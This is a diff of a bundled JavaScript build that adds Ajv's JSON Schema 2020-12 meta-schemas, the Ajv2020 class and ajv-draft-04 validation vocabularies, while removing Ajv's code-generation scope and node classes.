properties: { + prefixItems: { $ref: "#/$defs/schemaArray" }, + items: { $dynamicRef: "#meta" }, + contains: { $dynamicRef: "#meta" }, + additionalProperties: { $dynamicRef: "#meta" }, + properties: { + type: "object", + additionalProperties: { $dynamicRef: "#meta" }, + default: {} + }, + patternProperties: { + type: "object", + additionalProperties: { $dynamicRef: "#meta" }, + propertyNames: { format: "regex" }, + default: {} + }, + dependentSchemas: { + type: "object", + additionalProperties: { $dynamicRef: "#meta" }, + default: {} + }, + propertyNames: { $dynamicRef: "#meta" }, + if: { $dynamicRef: "#meta" }, + then: { $dynamicRef: "#meta" }, + else: { $dynamicRef: "#meta" }, + allOf: { $ref: "#/$defs/schemaArray" }, + anyOf: { $ref: "#/$defs/schemaArray" }, + oneOf: { $ref: "#/$defs/schemaArray" }, + not: { $dynamicRef: "#meta" } + }, + $defs: { + schemaArray: { + type: "array", + minItems: 1, + items: { $dynamicRef: "#meta" } + } } - get() { - return this._scope; + }; + } +}); + +// node_modules/ajv/dist/refs/json-schema-2020-12/meta/unevaluated.json +var require_unevaluated2 = __commonJS({ + "node_modules/ajv/dist/refs/json-schema-2020-12/meta/unevaluated.json"(exports28, module5) { + module5.exports = { + $schema: "https://json-schema.org/draft/2020-12/schema", + $id: "https://json-schema.org/draft/2020-12/meta/unevaluated", + $vocabulary: { + "https://json-schema.org/draft/2020-12/vocab/unevaluated": true + }, + $dynamicAnchor: "meta", + title: "Unevaluated applicator vocabulary meta-schema", + type: ["object", "boolean"], + properties: { + unevaluatedItems: { $dynamicRef: "#meta" }, + unevaluatedProperties: { $dynamicRef: "#meta" } } - name(prefix) { - return new ValueScopeName(prefix, this._newName(prefix)); + }; + } +}); + +// node_modules/ajv/dist/refs/json-schema-2020-12/meta/content.json +var require_content = __commonJS({ + "node_modules/ajv/dist/refs/json-schema-2020-12/meta/content.json"(exports28, module5) { + module5.exports = { + $schema: "https://json-schema.org/draft/2020-12/schema", + $id: "https://json-schema.org/draft/2020-12/meta/content", + $vocabulary: { + "https://json-schema.org/draft/2020-12/vocab/content": true + }, + $dynamicAnchor: "meta", + title: "Content vocabulary meta-schema", + type: ["object", "boolean"], + properties: { + contentEncoding: { type: "string" }, + contentMediaType: { type: "string" }, + contentSchema: { $dynamicRef: "#meta" } } - value(nameOrPrefix, value2) { - var _a2; - if (value2.ref === void 0) - throw new Error("CodeGen: ref must be passed in value"); - const name2 = this.toName(nameOrPrefix); - const { prefix } = name2; - const valueKey = (_a2 = value2.key) !== null && _a2 !== void 0 ? _a2 : value2.ref; - let vs = this._values[prefix]; - if (vs) { - const _name = vs.get(valueKey); - if (_name) - return _name; - } else { - vs = this._values[prefix] = /* @__PURE__ */ new Map(); + }; + } +}); + +// node_modules/ajv/dist/refs/json-schema-2020-12/meta/core.json +var require_core3 = __commonJS({ + "node_modules/ajv/dist/refs/json-schema-2020-12/meta/core.json"(exports28, module5) { + module5.exports = { + $schema: "https://json-schema.org/draft/2020-12/schema", + $id: "https://json-schema.org/draft/2020-12/meta/core", + $vocabulary: { + "https://json-schema.org/draft/2020-12/vocab/core": true + }, + $dynamicAnchor: "meta", + title: "Core vocabulary meta-schema", + type: ["object", "boolean"], + properties: { + $id: { + $ref: "#/$defs/uriReferenceString", + $comment: "Non-empty fragments not allowed.", + pattern: "^[^#]*#?$" + }, + $schema: { $ref: "#/$defs/uriString" }, + $ref: { $ref: "#/$defs/uriReferenceString" }, + $anchor: { $ref: "#/$defs/anchorString" }, + $dynamicRef: { $ref: "#/$defs/uriReferenceString" }, + $dynamicAnchor: { $ref: "#/$defs/anchorString" }, + $vocabulary: { + type: "object", + propertyNames: { $ref: "#/$defs/uriString" }, + additionalProperties: { + type: "boolean" + } + }, + $comment: { + type: "string" + }, + $defs: { + type: "object", + additionalProperties: { $dynamicRef: "#meta" } + } + }, + $defs: { + anchorString: { + type: "string", + pattern: "^[A-Za-z_][-A-Za-z0-9._]*$" + }, + uriString: { + type: "string", + format: "uri" + }, + uriReferenceString: { + type: "string", + format: "uri-reference" } - vs.set(valueKey, name2); - const s7 = this._scope[prefix] || (this._scope[prefix] = []); - const itemIndex = s7.length; - s7[itemIndex] = value2.ref; - name2.setValue(value2, { property: prefix, itemIndex }); - return name2; - } - getValue(prefix, keyOrRef) { - const vs = this._values[prefix]; - if (!vs) - return; - return vs.get(keyOrRef); } - scopeRefs(scopeName, values2 = this._values) { - return this._reduceValues(values2, (name2) => { - if (name2.scopePath === void 0) - throw new Error(`CodeGen: name "${name2}" has no value`); - return (0, code_1._)`${scopeName}${name2.scopePath}`; - }); + }; + } +}); + +// node_modules/ajv/dist/refs/json-schema-2020-12/meta/format-annotation.json +var require_format_annotation = __commonJS({ + "node_modules/ajv/dist/refs/json-schema-2020-12/meta/format-annotation.json"(exports28, module5) { + module5.exports = { + $schema: "https://json-schema.org/draft/2020-12/schema", + $id: "https://json-schema.org/draft/2020-12/meta/format-annotation", + $vocabulary: { + "https://json-schema.org/draft/2020-12/vocab/format-annotation": true + }, + $dynamicAnchor: "meta", + title: "Format vocabulary meta-schema for annotation results", + type: ["object", "boolean"], + properties: { + format: { type: "string" } } - scopeCode(values2 = this._values, usedValues, getCode) { - return this._reduceValues(values2, (name2) => { - if (name2.value === void 0) - throw new Error(`CodeGen: name "${name2}" has no value`); - return name2.value.code; - }, usedValues, getCode); + }; + } +}); + +// node_modules/ajv/dist/refs/json-schema-2020-12/meta/meta-data.json +var require_meta_data = __commonJS({ + "node_modules/ajv/dist/refs/json-schema-2020-12/meta/meta-data.json"(exports28, module5) { + module5.exports = { + $schema: "https://json-schema.org/draft/2020-12/schema", + $id: "https://json-schema.org/draft/2020-12/meta/meta-data", + $vocabulary: { + "https://json-schema.org/draft/2020-12/vocab/meta-data": true + }, + $dynamicAnchor: "meta", + title: "Meta-data vocabulary meta-schema", + type: ["object", "boolean"], + properties: { + title: { + type: "string" + }, + description: { + type: "string" + }, + default: true, + deprecated: { + type: "boolean", + default: false + }, + readOnly: { + type: "boolean", + default: false + }, + writeOnly: { + type: "boolean", + default: false + }, + examples: { + type: "array", + items: true + } } - _reduceValues(values2, valueCode, usedValues = {}, getCode) { - let code = code_1.nil; - for (const prefix in values2) { - const vs = values2[prefix]; - if (!vs) - continue; - const nameSet = usedValues[prefix] = usedValues[prefix] || /* @__PURE__ */ new Map(); - vs.forEach((name2) => { - if (nameSet.has(name2)) - return; - nameSet.set(name2, UsedValueState.Started); - let c7 = valueCode(name2); - if (c7) { - const def = this.opts.es5 ? exports28.varKinds.var : exports28.varKinds.const; - code = (0, code_1._)`${code}${def} ${name2} = ${c7};${this.opts._n}`; - } else if (c7 = getCode === null || getCode === void 0 ? void 0 : getCode(name2)) { - code = (0, code_1._)`${code}${c7}${this.opts._n}`; - } else { - throw new ValueError(name2); + }; + } +}); + +// node_modules/ajv/dist/refs/json-schema-2020-12/meta/validation.json +var require_validation2 = __commonJS({ + "node_modules/ajv/dist/refs/json-schema-2020-12/meta/validation.json"(exports28, module5) { + module5.exports = { + $schema: "https://json-schema.org/draft/2020-12/schema", + $id: "https://json-schema.org/draft/2020-12/meta/validation", + $vocabulary: { + "https://json-schema.org/draft/2020-12/vocab/validation": true + }, + $dynamicAnchor: "meta", + title: "Validation vocabulary meta-schema", + type: ["object", "boolean"], + properties: { + type: { + anyOf: [ + { $ref: "#/$defs/simpleTypes" }, + { + type: "array", + items: { $ref: "#/$defs/simpleTypes" }, + minItems: 1, + uniqueItems: true } - nameSet.set(name2, UsedValueState.Completed); - }); + ] + }, + const: true, + enum: { + type: "array", + items: true + }, + multipleOf: { + type: "number", + exclusiveMinimum: 0 + }, + maximum: { + type: "number" + }, + exclusiveMaximum: { + type: "number" + }, + minimum: { + type: "number" + }, + exclusiveMinimum: { + type: "number" + }, + maxLength: { $ref: "#/$defs/nonNegativeInteger" }, + minLength: { $ref: "#/$defs/nonNegativeIntegerDefault0" }, + pattern: { + type: "string", + format: "regex" + }, + maxItems: { $ref: "#/$defs/nonNegativeInteger" }, + minItems: { $ref: "#/$defs/nonNegativeIntegerDefault0" }, + uniqueItems: { + type: "boolean", + default: false + }, + maxContains: { $ref: "#/$defs/nonNegativeInteger" }, + minContains: { + $ref: "#/$defs/nonNegativeInteger", + default: 1 + }, + maxProperties: { $ref: "#/$defs/nonNegativeInteger" }, + minProperties: { $ref: "#/$defs/nonNegativeIntegerDefault0" }, + required: { $ref: "#/$defs/stringArray" }, + dependentRequired: { + type: "object", + additionalProperties: { + $ref: "#/$defs/stringArray" + } + } + }, + $defs: { + nonNegativeInteger: { + type: "integer", + minimum: 0 + }, + nonNegativeIntegerDefault0: { + $ref: "#/$defs/nonNegativeInteger", + default: 0 + }, + simpleTypes: { + enum: ["array", "boolean", "integer", "null", "number", "object", "string"] + }, + stringArray: { + type: "array", + items: { type: "string" }, + uniqueItems: true, + default: [] } - return code; } }; - exports28.ValueScope = ValueScope; } }); -// node_modules/ajv/dist/compile/codegen/index.js -var require_codegen = __commonJS({ - "node_modules/ajv/dist/compile/codegen/index.js"(exports28) { +// node_modules/ajv/dist/refs/json-schema-2020-12/index.js +var require_json_schema_2020_12 = __commonJS({ + "node_modules/ajv/dist/refs/json-schema-2020-12/index.js"(exports28) { "use strict"; init_dirname(); init_buffer2(); init_process2(); Object.defineProperty(exports28, "__esModule", { value: true }); - exports28.or = exports28.and = exports28.not = exports28.CodeGen = exports28.operators = exports28.varKinds = exports28.ValueScopeName = exports28.ValueScope = exports28.Scope = exports28.Name = exports28.regexpCode = exports28.stringify = exports28.getProperty = exports28.nil = exports28.strConcat = exports28.str = exports28._ = void 0; - var code_1 = require_code(); - var scope_1 = require_scope(); - var code_2 = require_code(); + var metaSchema = require_schema(); + var applicator = require_applicator2(); + var unevaluated = require_unevaluated2(); + var content = require_content(); + var core2 = require_core3(); + var format5 = require_format_annotation(); + var metadata = require_meta_data(); + var validation = require_validation2(); + var META_SUPPORT_DATA = ["/properties"]; + function addMetaSchema2020($data) { + ; + [ + metaSchema, + applicator, + unevaluated, + content, + core2, + with$data(this, format5), + metadata, + with$data(this, validation) + ].forEach((sch) => this.addMetaSchema(sch, void 0, false)); + return this; + function with$data(ajv2, sch) { + return $data ? ajv2.$dataMetaSchema(sch, META_SUPPORT_DATA) : sch; + } + } + exports28.default = addMetaSchema2020; + } +}); + +// node_modules/ajv/dist/2020.js +var require__ = __commonJS({ + "node_modules/ajv/dist/2020.js"(exports28, module5) { + "use strict"; + init_dirname(); + init_buffer2(); + init_process2(); + Object.defineProperty(exports28, "__esModule", { value: true }); + exports28.MissingRefError = exports28.ValidationError = exports28.CodeGen = exports28.Name = exports28.nil = exports28.stringify = exports28.str = exports28._ = exports28.KeywordCxt = exports28.Ajv2020 = void 0; + var core_1 = require_core(); + var draft2020_1 = require_draft2020(); + var discriminator_1 = require_discriminator(); + var json_schema_2020_12_1 = require_json_schema_2020_12(); + var META_SCHEMA_ID = "https://json-schema.org/draft/2020-12/schema"; + var Ajv2020 = class extends core_1.default { + constructor(opts = {}) { + super({ + ...opts, + dynamicRef: true, + next: true, + unevaluated: true + }); + } + _addVocabularies() { + super._addVocabularies(); + draft2020_1.default.forEach((v8) => this.addVocabulary(v8)); + if (this.opts.discriminator) + this.addKeyword(discriminator_1.default); + } + _addDefaultMetaSchema() { + super._addDefaultMetaSchema(); + const { $data, meta } = this.opts; + if (!meta) + return; + json_schema_2020_12_1.default.call(this, $data); + this.refs["http://json-schema.org/schema"] = META_SCHEMA_ID; + } + defaultMeta() { + return this.opts.defaultMeta = super.defaultMeta() || (this.getSchema(META_SCHEMA_ID) ? META_SCHEMA_ID : void 0); + } + }; + exports28.Ajv2020 = Ajv2020; + module5.exports = exports28 = Ajv2020; + module5.exports.Ajv2020 = Ajv2020; + Object.defineProperty(exports28, "__esModule", { value: true }); + exports28.default = Ajv2020; + var validate_1 = require_validate(); + Object.defineProperty(exports28, "KeywordCxt", { enumerable: true, get: function() { + return validate_1.KeywordCxt; + } }); + var codegen_1 = require_codegen(); Object.defineProperty(exports28, "_", { enumerable: true, get: function() { - return code_2._; + return codegen_1._; } }); Object.defineProperty(exports28, "str", { enumerable: true, get: function() { - return code_2.str; - } }); - Object.defineProperty(exports28, "strConcat", { enumerable: true, get: function() { - return code_2.strConcat; - } }); - Object.defineProperty(exports28, "nil", { enumerable: true, get: function() { - return code_2.nil; - } }); - Object.defineProperty(exports28, "getProperty", { enumerable: true, get: function() { - return code_2.getProperty; + return codegen_1.str; } }); Object.defineProperty(exports28, "stringify", { enumerable: true, get: function() { - return code_2.stringify; + return codegen_1.stringify; } }); - Object.defineProperty(exports28, "regexpCode", { enumerable: true, get: function() { - return code_2.regexpCode; + Object.defineProperty(exports28, "nil", { enumerable: true, get: function() { + return codegen_1.nil; } }); Object.defineProperty(exports28, "Name", { enumerable: true, get: function() { - return code_2.Name; - } }); - var scope_2 = require_scope(); - Object.defineProperty(exports28, "Scope", { enumerable: true, get: function() { - return scope_2.Scope; + return codegen_1.Name; } }); - Object.defineProperty(exports28, "ValueScope", { enumerable: true, get: function() { - return scope_2.ValueScope; + Object.defineProperty(exports28, "CodeGen", { enumerable: true, get: function() { + return codegen_1.CodeGen; } }); - Object.defineProperty(exports28, "ValueScopeName", { enumerable: true, get: function() { - return scope_2.ValueScopeName; + var validation_error_1 = require_validation_error(); + Object.defineProperty(exports28, "ValidationError", { enumerable: true, get: function() { + return validation_error_1.default; } }); - Object.defineProperty(exports28, "varKinds", { enumerable: true, get: function() { - return scope_2.varKinds; + var ref_error_1 = require_ref_error(); + Object.defineProperty(exports28, "MissingRefError", { enumerable: true, get: function() { + return ref_error_1.default; } }); - exports28.operators = { - GT: new code_1._Code(">"), - GTE: new code_1._Code(">="), - LT: new code_1._Code("<"), - LTE: new code_1._Code("<="), - EQ: new code_1._Code("==="), - NEQ: new code_1._Code("!=="), - NOT: new code_1._Code("!"), - OR: new code_1._Code("||"), - AND: new code_1._Code("&&"), - ADD: new code_1._Code("+") - }; - var Node = class { - optimizeNodes() { - return this; - } - optimizeNames(_names, _constants) { - return this; - } - }; - var Def = class extends Node { - constructor(varKind, name2, rhs) { - super(); - this.varKind = varKind; - this.name = name2; - this.rhs = rhs; - } - render({ es5, _n }) { - const varKind = es5 ? scope_1.varKinds.var : this.varKind; - const rhs = this.rhs === void 0 ? "" : ` = ${this.rhs}`; - return `${varKind} ${this.name}${rhs};` + _n; - } - optimizeNames(names, constants5) { - if (!names[this.name.str]) - return; - if (this.rhs) - this.rhs = optimizeExpr(this.rhs, names, constants5); - return this; - } - get names() { - return this.rhs instanceof code_1._CodeOrName ? this.rhs.names : {}; - } - }; - var Assign = class extends Node { - constructor(lhs, rhs, sideEffects) { - super(); - this.lhs = lhs; - this.rhs = rhs; - this.sideEffects = sideEffects; - } - render({ _n }) { - return `${this.lhs} = ${this.rhs};` + _n; - } - optimizeNames(names, constants5) { - if (this.lhs instanceof code_1.Name && !names[this.lhs.str] && !this.sideEffects) - return; - this.rhs = optimizeExpr(this.rhs, names, constants5); - return this; - } - get names() { - const names = this.lhs instanceof code_1.Name ? {} : { ...this.lhs.names }; - return addExprNames(names, this.rhs); - } - }; - var AssignOp = class extends Assign { - constructor(lhs, op, rhs, sideEffects) { - super(lhs, rhs, sideEffects); - this.op = op; - } - render({ _n }) { - return `${this.lhs} ${this.op}= ${this.rhs};` + _n; - } - }; - var Label = class extends Node { - constructor(label) { - super(); - this.label = label; - this.names = {}; - } - render({ _n }) { - return `${this.label}:` + _n; + } +}); + +// node_modules/ajv-draft-04/dist/vocabulary/core.js +var require_core4 = __commonJS({ + "node_modules/ajv-draft-04/dist/vocabulary/core.js"(exports28) { + "use strict"; + init_dirname(); + init_buffer2(); + init_process2(); + Object.defineProperty(exports28, "__esModule", { value: true }); + var ref_1 = require_ref(); + var core2 = [ + "$schema", + "id", + "$defs", + { keyword: "$comment" }, + "definitions", + ref_1.default + ]; + exports28.default = core2; + } +}); + +// node_modules/ajv-draft-04/dist/vocabulary/validation/limitNumber.js +var require_limitNumber2 = __commonJS({ + "node_modules/ajv-draft-04/dist/vocabulary/validation/limitNumber.js"(exports28) { + "use strict"; + init_dirname(); + init_buffer2(); + init_process2(); + Object.defineProperty(exports28, "__esModule", { value: true }); + var core_1 = require_core(); + var codegen_1 = require_codegen(); + var ops = codegen_1.operators; + var KWDs = { + maximum: { + exclusive: "exclusiveMaximum", + ops: [ + { okStr: "<=", ok: ops.LTE, fail: ops.GT }, + { okStr: "<", ok: ops.LT, fail: ops.GTE } + ] + }, + minimum: { + exclusive: "exclusiveMinimum", + ops: [ + { okStr: ">=", ok: ops.GTE, fail: ops.LT }, + { okStr: ">", ok: ops.GT, fail: ops.LTE } + ] } }; - var Break = class extends Node { - constructor(label) { - super(); - this.label = label; - this.names = {}; - } - render({ _n }) { - const label = this.label ? ` ${this.label}` : ""; - return `break${label};` + _n; - } + var error2 = { + message: (cxt) => core_1.str`must be ${kwdOp(cxt).okStr} ${cxt.schemaCode}`, + params: (cxt) => core_1._`{comparison: ${kwdOp(cxt).okStr}, limit: ${cxt.schemaCode}}` }; - var Throw = class extends Node { - constructor(error2) { - super(); - this.error = error2; - } - render({ _n }) { - return `throw ${this.error};` + _n; - } - get names() { - return this.error.names; + var def = { + keyword: Object.keys(KWDs), + type: "number", + schemaType: "number", + $data: true, + error: error2, + code(cxt) { + const { data, schemaCode } = cxt; + cxt.fail$data(core_1._`${data} ${kwdOp(cxt).fail} ${schemaCode} || isNaN(${data})`); } }; - var AnyCode = class extends Node { - constructor(code) { - super(); - this.code = code; - } - render({ _n }) { - return `${this.code};` + _n; - } - optimizeNodes() { - return `${this.code}` ? this : void 0; - } - optimizeNames(names, constants5) { - this.code = optimizeExpr(this.code, names, constants5); - return this; - } - get names() { - return this.code instanceof code_1._CodeOrName ? this.code.names : {}; - } + function kwdOp(cxt) { + var _a2; + const keyword = cxt.keyword; + const opsIdx = ((_a2 = cxt.parentSchema) === null || _a2 === void 0 ? void 0 : _a2[KWDs[keyword].exclusive]) ? 1 : 0; + return KWDs[keyword].ops[opsIdx]; + } + exports28.default = def; + } +}); + +// node_modules/ajv-draft-04/dist/vocabulary/validation/limitNumberExclusive.js +var require_limitNumberExclusive = __commonJS({ + "node_modules/ajv-draft-04/dist/vocabulary/validation/limitNumberExclusive.js"(exports28) { + "use strict"; + init_dirname(); + init_buffer2(); + init_process2(); + Object.defineProperty(exports28, "__esModule", { value: true }); + var KWDs = { + exclusiveMaximum: "maximum", + exclusiveMinimum: "minimum" }; - var ParentNode = class extends Node { - constructor(nodes = []) { - super(); - this.nodes = nodes; - } - render(opts) { - return this.nodes.reduce((code, n7) => code + n7.render(opts), ""); - } - optimizeNodes() { - const { nodes } = this; - let i7 = nodes.length; - while (i7--) { - const n7 = nodes[i7].optimizeNodes(); - if (Array.isArray(n7)) - nodes.splice(i7, 1, ...n7); - else if (n7) - nodes[i7] = n7; - else - nodes.splice(i7, 1); - } - return nodes.length > 0 ? this : void 0; - } - optimizeNames(names, constants5) { - const { nodes } = this; - let i7 = nodes.length; - while (i7--) { - const n7 = nodes[i7]; - if (n7.optimizeNames(names, constants5)) - continue; - subtractNames(names, n7.names); - nodes.splice(i7, 1); + var def = { + keyword: Object.keys(KWDs), + type: "number", + schemaType: "boolean", + code({ keyword, parentSchema }) { + const limitKwd = KWDs[keyword]; + if (parentSchema[limitKwd] === void 0) { + throw new Error(`${keyword} can only be used with ${limitKwd}`); } - return nodes.length > 0 ? this : void 0; - } - get names() { - return this.nodes.reduce((names, n7) => addNames(names, n7.names), {}); - } - }; - var BlockNode = class extends ParentNode { - render(opts) { - return "{" + opts._n + super.render(opts) + "}" + opts._n; } }; - var Root2 = class extends ParentNode { - }; - var Else = class extends BlockNode { - }; - Else.kind = "else"; - var If = class _If extends BlockNode { - constructor(condition, nodes) { - super(nodes); - this.condition = condition; - } - render(opts) { - let code = `if(${this.condition})` + super.render(opts); - if (this.else) - code += "else " + this.else.render(opts); - return code; - } - optimizeNodes() { - super.optimizeNodes(); - const cond2 = this.condition; - if (cond2 === true) - return this.nodes; - let e10 = this.else; - if (e10) { - const ns = e10.optimizeNodes(); - e10 = this.else = Array.isArray(ns) ? new Else(ns) : ns; - } - if (e10) { - if (cond2 === false) - return e10 instanceof _If ? e10 : e10.nodes; - if (this.nodes.length) - return this; - return new _If(not(cond2), e10 instanceof _If ? [e10] : e10.nodes); + exports28.default = def; + } +}); + +// node_modules/ajv-draft-04/dist/vocabulary/validation/index.js +var require_validation3 = __commonJS({ + "node_modules/ajv-draft-04/dist/vocabulary/validation/index.js"(exports28) { + "use strict"; + init_dirname(); + init_buffer2(); + init_process2(); + Object.defineProperty(exports28, "__esModule", { value: true }); + var limitNumber_1 = require_limitNumber2(); + var limitNumberExclusive_1 = require_limitNumberExclusive(); + var multipleOf_1 = require_multipleOf(); + var limitLength_1 = require_limitLength(); + var pattern_1 = require_pattern2(); + var limitProperties_1 = require_limitProperties(); + var required_1 = require_required2(); + var limitItems_1 = require_limitItems(); + var uniqueItems_1 = require_uniqueItems(); + var const_1 = require_const(); + var enum_1 = require_enum2(); + var validation = [ + // number + limitNumber_1.default, + limitNumberExclusive_1.default, + multipleOf_1.default, + // string + limitLength_1.default, + pattern_1.default, + // object + limitProperties_1.default, + required_1.default, + // array + limitItems_1.default, + uniqueItems_1.default, + // any + { keyword: "type", schemaType: ["string", "array"] }, + { keyword: "nullable", schemaType: "boolean" }, + const_1.default, + enum_1.default + ]; + exports28.default = validation; + } +}); + +// node_modules/ajv-draft-04/dist/vocabulary/draft4.js +var require_draft4 = __commonJS({ + "node_modules/ajv-draft-04/dist/vocabulary/draft4.js"(exports28) { + "use strict"; + init_dirname(); + init_buffer2(); + init_process2(); + Object.defineProperty(exports28, "__esModule", { value: true }); + var core_1 = require_core4(); + var validation_1 = require_validation3(); + var applicator_1 = require_applicator(); + var format_1 = require_format2(); + var metadataVocabulary = ["title", "description", "default"]; + var draft4Vocabularies = [ + core_1.default, + validation_1.default, + applicator_1.default(), + format_1.default, + metadataVocabulary + ]; + exports28.default = draft4Vocabularies; + } +}); + +// node_modules/ajv-draft-04/dist/refs/json-schema-draft-04.json +var require_json_schema_draft_04 = __commonJS({ + "node_modules/ajv-draft-04/dist/refs/json-schema-draft-04.json"(exports28, module5) { + module5.exports = { + id: "http://json-schema.org/draft-04/schema#", + $schema: "http://json-schema.org/draft-04/schema#", + description: "Core schema meta-schema", + definitions: { + schemaArray: { + type: "array", + minItems: 1, + items: { $ref: "#" } + }, + positiveInteger: { + type: "integer", + minimum: 0 + }, + positiveIntegerDefault0: { + allOf: [{ $ref: "#/definitions/positiveInteger" }, { default: 0 }] + }, + simpleTypes: { + enum: ["array", "boolean", "integer", "null", "number", "object", "string"] + }, + stringArray: { + type: "array", + items: { type: "string" }, + minItems: 1, + uniqueItems: true } - if (cond2 === false || !this.nodes.length) - return void 0; - return this; - } - optimizeNames(names, constants5) { - var _a2; - this.else = (_a2 = this.else) === null || _a2 === void 0 ? void 0 : _a2.optimizeNames(names, constants5); - if (!(super.optimizeNames(names, constants5) || this.else)) - return; - this.condition = optimizeExpr(this.condition, names, constants5); - return this; - } - get names() { - const names = super.names; - addExprNames(names, this.condition); - if (this.else) - addNames(names, this.else.names); - return names; - } - }; - If.kind = "if"; - var For = class extends BlockNode { - }; - For.kind = "for"; - var ForLoop = class extends For { - constructor(iteration) { - super(); - this.iteration = iteration; - } - render(opts) { - return `for(${this.iteration})` + super.render(opts); - } - optimizeNames(names, constants5) { - if (!super.optimizeNames(names, constants5)) - return; - this.iteration = optimizeExpr(this.iteration, names, constants5); - return this; - } - get names() { - return addNames(super.names, this.iteration.names); - } - }; - var ForRange = class extends For { - constructor(varKind, name2, from, to) { - super(); - this.varKind = varKind; - this.name = name2; - this.from = from; - this.to = to; - } - render(opts) { - const varKind = opts.es5 ? scope_1.varKinds.var : this.varKind; - const { name: name2, from, to } = this; - return `for(${varKind} ${name2}=${from}; ${name2}<${to}; ${name2}++)` + super.render(opts); - } - get names() { - const names = addExprNames(super.names, this.from); - return addExprNames(names, this.to); - } + }, + type: "object", + properties: { + id: { + type: "string", + format: "uri" + }, + $schema: { + type: "string", + format: "uri" + }, + title: { + type: "string" + }, + description: { + type: "string" + }, + default: {}, + multipleOf: { + type: "number", + minimum: 0, + exclusiveMinimum: true + }, + maximum: { + type: "number" + }, + exclusiveMaximum: { + type: "boolean", + default: false + }, + minimum: { + type: "number" + }, + exclusiveMinimum: { + type: "boolean", + default: false + }, + maxLength: { $ref: "#/definitions/positiveInteger" }, + minLength: { $ref: "#/definitions/positiveIntegerDefault0" }, + pattern: { + type: "string", + format: "regex" + }, + additionalItems: { + anyOf: [{ type: "boolean" }, { $ref: "#" }], + default: {} + }, + items: { + anyOf: [{ $ref: "#" }, { $ref: "#/definitions/schemaArray" }], + default: {} + }, + maxItems: { $ref: "#/definitions/positiveInteger" }, + minItems: { $ref: "#/definitions/positiveIntegerDefault0" }, + uniqueItems: { + type: "boolean", + default: false + }, + maxProperties: { $ref: "#/definitions/positiveInteger" }, + minProperties: { $ref: "#/definitions/positiveIntegerDefault0" }, + required: { $ref: "#/definitions/stringArray" }, + additionalProperties: { + anyOf: [{ type: "boolean" }, { $ref: "#" }], + default: {} + }, + definitions: { + type: "object", + additionalProperties: { $ref: "#" }, + default: {} + }, + properties: { + type: "object", + additionalProperties: { $ref: "#" }, + default: {} + }, + patternProperties: { + type: "object", + additionalProperties: { $ref: "#" }, + default: {} + }, + dependencies: { + type: "object", + additionalProperties: { + anyOf: [{ $ref: "#" }, { $ref: "#/definitions/stringArray" }] + } + }, + enum: { + type: "array", + minItems: 1, + uniqueItems: true + }, + type: { + anyOf: [ + { $ref: "#/definitions/simpleTypes" }, + { + type: "array", + items: { $ref: "#/definitions/simpleTypes" }, + minItems: 1, + uniqueItems: true + } + ] + }, + allOf: { $ref: "#/definitions/schemaArray" }, + anyOf: { $ref: "#/definitions/schemaArray" }, + oneOf: { $ref: "#/definitions/schemaArray" }, + not: { $ref: "#" } + }, + dependencies: { + exclusiveMaximum: ["maximum"], + exclusiveMinimum: ["minimum"] + }, + default: {} }; - var ForIter = class extends For { - constructor(loop, varKind, name2, iterable) { - super(); - this.loop = loop; - this.varKind = varKind; - this.name = name2; - this.iterable = iterable; + } +}); + +// node_modules/ajv-draft-04/dist/index.js +var require_dist = __commonJS({ + "node_modules/ajv-draft-04/dist/index.js"(exports28, module5) { + "use strict"; + init_dirname(); + init_buffer2(); + init_process2(); + Object.defineProperty(exports28, "__esModule", { value: true }); + exports28.CodeGen = exports28.Name = exports28.nil = exports28.stringify = exports28.str = exports28._ = exports28.KeywordCxt = void 0; + var core_1 = require_core(); + var draft4_1 = require_draft4(); + var discriminator_1 = require_discriminator(); + var draft4MetaSchema = require_json_schema_draft_04(); + var META_SUPPORT_DATA = ["/properties"]; + var META_SCHEMA_ID = "http://json-schema.org/draft-04/schema"; + var Ajv7 = class extends core_1.default { + constructor(opts = {}) { + super({ + ...opts, + schemaId: "id" + }); } - render(opts) { - return `for(${this.varKind} ${this.name} ${this.loop} ${this.iterable})` + super.render(opts); + _addVocabularies() { + super._addVocabularies(); + draft4_1.default.forEach((v8) => this.addVocabulary(v8)); + if (this.opts.discriminator) + this.addKeyword(discriminator_1.default); } - optimizeNames(names, constants5) { - if (!super.optimizeNames(names, constants5)) + _addDefaultMetaSchema() { + super._addDefaultMetaSchema(); + if (!this.opts.meta) return; - this.iterable = optimizeExpr(this.iterable, names, constants5); - return this; - } - get names() { - return addNames(super.names, this.iterable.names); - } - }; - var Func = class extends BlockNode { - constructor(name2, args, async) { - super(); - this.name = name2; - this.args = args; - this.async = async; - } - render(opts) { - const _async = this.async ? "async " : ""; - return `${_async}function ${this.name}(${this.args})` + super.render(opts); - } - }; - Func.kind = "func"; - var Return = class extends ParentNode { - render(opts) { - return "return " + super.render(opts); - } - }; - Return.kind = "return"; - var Try = class extends BlockNode { - render(opts) { - let code = "try" + super.render(opts); - if (this.catch) - code += this.catch.render(opts); - if (this.finally) - code += this.finally.render(opts); - return code; - } - optimizeNodes() { - var _a2, _b; - super.optimizeNodes(); - (_a2 = this.catch) === null || _a2 === void 0 ? void 0 : _a2.optimizeNodes(); - (_b = this.finally) === null || _b === void 0 ? void 0 : _b.optimizeNodes(); - return this; - } - optimizeNames(names, constants5) { - var _a2, _b; - super.optimizeNames(names, constants5); - (_a2 = this.catch) === null || _a2 === void 0 ? void 0 : _a2.optimizeNames(names, constants5); - (_b = this.finally) === null || _b === void 0 ? void 0 : _b.optimizeNames(names, constants5); - return this; - } - get names() { - const names = super.names; - if (this.catch) - addNames(names, this.catch.names); - if (this.finally) - addNames(names, this.finally.names); - return names; - } - }; - var Catch = class extends BlockNode { - constructor(error2) { - super(); - this.error = error2; - } - render(opts) { - return `catch(${this.error})` + super.render(opts); + const metaSchema = this.opts.$data ? this.$dataMetaSchema(draft4MetaSchema, META_SUPPORT_DATA) : draft4MetaSchema; + this.addMetaSchema(metaSchema, META_SCHEMA_ID, false); + this.refs["http://json-schema.org/schema"] = META_SCHEMA_ID; } - }; - Catch.kind = "catch"; - var Finally = class extends BlockNode { - render(opts) { - return "finally" + super.render(opts); + defaultMeta() { + return this.opts.defaultMeta = super.defaultMeta() || (this.getSchema(META_SCHEMA_ID) ? META_SCHEMA_ID : void 0); } }; - Finally.kind = "finally"; - var CodeGen = class { - constructor(extScope, opts = {}) { - this._values = {}; - this._blockStarts = []; - this._constants = {}; - this.opts = { ...opts, _n: opts.lines ? "\n" : "" }; - this._extScope = extScope; - this._scope = new scope_1.Scope({ parent: extScope }); - this._nodes = [new Root2()]; - } - toString() { - return this._root.render(this.opts); - } - // returns unique name in the internal scope - 